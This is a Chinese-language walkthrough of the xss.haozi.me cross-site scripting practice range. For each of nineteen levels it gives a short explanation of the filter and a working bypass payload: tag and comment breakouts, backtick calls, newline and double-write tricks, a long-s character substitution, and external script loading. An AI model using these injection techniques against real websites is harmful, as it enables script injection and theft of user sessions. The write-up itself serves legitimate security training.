靶场地址:http://xss.haozi.me
官方的js脚本地址:xss.haozi.me/j.js
0x00
没有任何过滤,直接使用script标签
<script>alert(1)</script>
0x01
闭合textarea标签
</textarea><script>alert(1)</script>
0x02
闭合input标签
"><script>alert(1)</script>
0x03
过滤了括号,使用反引号 `
<script>alert`1`</script>
0x04
对 ` 也进行了过滤,使用编码绕过
<svg><script>alert(1)</script>
0x05
对输入的内容进行了注释,闭合注释
--!><script>alert(1)</script>
0x06
过滤了on后面的等号,选择换行绕过
onlick
=alert(1)
0x07
过滤了html标签,使用onerror绕过(onerror不依靠标签触发)
<img src=1 onerror='alert(1)'
0x08
</style>被替换,因为正则不能匹配空格,所以添加空格
</style ><script>alert(1)</script>
0x09
先输入固定网址,然后闭合<script>,进行报错绕过
https://www.segmentfault.com"></script><img src=1 onerror="alert(1)
0x0A
直接调用js脚本
https://www.segmentfault.com.haozi.me/j.js
0x0B
构造script标签使用js脚本
<script src=https://www.segmentfault.com.haozi.me/j.js></script>
0x0C
script被替换为空,选择双写绕过
<scscriptript src=https://www.segmentfault.com.haozi.me/j.js></scscriptript>
0x0D
先换行跳过注释,再把')用-->注释掉
alert(1)
-->
0x0E
普通字符标签被添加‘_’,使用特殊字符‘ ſ ’,ſ 与s相同
<ſcript src=https://www.segmentfault.com.haozi.me/j.js></script>
0x0F
由于编码在html标签中,所以被替换的编码会被还原再执行
');alert('1
0x10
没有过滤,直接alert(1)
alert(1)
0x11
"被替换为\",所以依旧可以使用,再使用分号隔开以及利用后面的")完成输出
");alert("1
0x12
没有过滤script标签,直接闭合
</script><script>alert(1)</script>